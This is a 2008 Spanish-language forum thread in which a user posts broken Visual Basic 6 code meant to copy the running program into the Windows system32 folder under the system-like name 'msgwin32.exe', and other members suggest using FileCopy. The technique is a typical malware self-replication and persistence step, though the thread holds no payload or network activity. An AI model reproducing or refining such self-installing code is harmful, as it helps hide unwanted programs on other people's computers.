Intento que el archivo se copie a si mismo. Que estoy haciendo mal??.

Iniciado por 70N1, 19 Junio 2008, 23:58 PM

0 Miembros y 2 Visitantes están viendo este tema.

70N1

Llevo un rato con esto y no doy con la solucion...

El archivo se copia a si mismo en la carpeta system32, me podreis decir que es lo que estoy haciendo mal?.

'Modulo:

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" _
(lpFileOp As SHFILEOPSTRUCT) As Long

Private Const FO_COPY = &H2
Private Const FOF_ALLOWUNDO = &H40

Public Sub SHCopyFile(ByVal from_file As String, ByVal to_file As String)
Dim sh_op As SHFILEOPSTRUCT

With sh_op
.hWnd = 0
.wFunc = FO_COPY
.pFrom = from_file & vbNullChar & vbNullChar
.pTo = to_file & vbNullChar & vbNullChar
.fFlags = FOF_ALLOWUNDO
End With

SHFileOperation sh_op
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

'En el form_load:

Dim copy As String
copy = SHCopyFile([app.patch & "\msgwin32.exe"], [Environ$(windir)& "\system32\msgwin32.exe"])App.Activate (copy)
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'El modulo lo saque de una pagina web.
'Lo que esta en negrita es donde me tira el error.
70N1

cobein

No se porque usas SHFileOperation, podrias usar filecopy (VB), copyfile (API) o cualquier otra cosa.

Si queres usar  SHFileOperation tene en cuenta que la estructura de SHFILEOPSTRUCT que esta en el Api-Guide y que muchos usan esta mal fFlags  tiene que ser long.
http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.

70N1

Ya me perdi.
Perdona mi ingnorancia, pero a que te refieres.... exactamente.
Explicate porfavor que no lo entiendo muy bien.

fFlags = FOF_ALLOWUNDO
Es a esto a lo que te refieres?.
70N1

cobein

http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.

JmHk

por que no usas el filecopy es mucho mas sencillo
Sintaxiz:
filecopy Archivo origen, archivo destino :laugh: :laugh:

70N1

Con el filecopy se puede copiar un archivo en uso?.
Perdona por tardar.
70N1

seba123neo

se puede copiar si esta en uso,por lo menos desde el explorador se puede,proba abrir algo en word por ejemplo,no podes modificarlo ni borralo,pero copiarlo si podes...

saludos.
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

70N1

A ok. Gracias entonces. Mañana me pondre manos a la obra e intentare usar el filecopy.
Buenas noches.
70N1

Ch3ck

Otra cosa es que si te encuentras programando y compilas el code la función del FileCopy no te funcionará (por lo menos en mi pc es así), simplemente observa que todo está bien y cuando compiles el ejecutable el Filecopy te funcionará.

Saludos.

seba123neo

La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson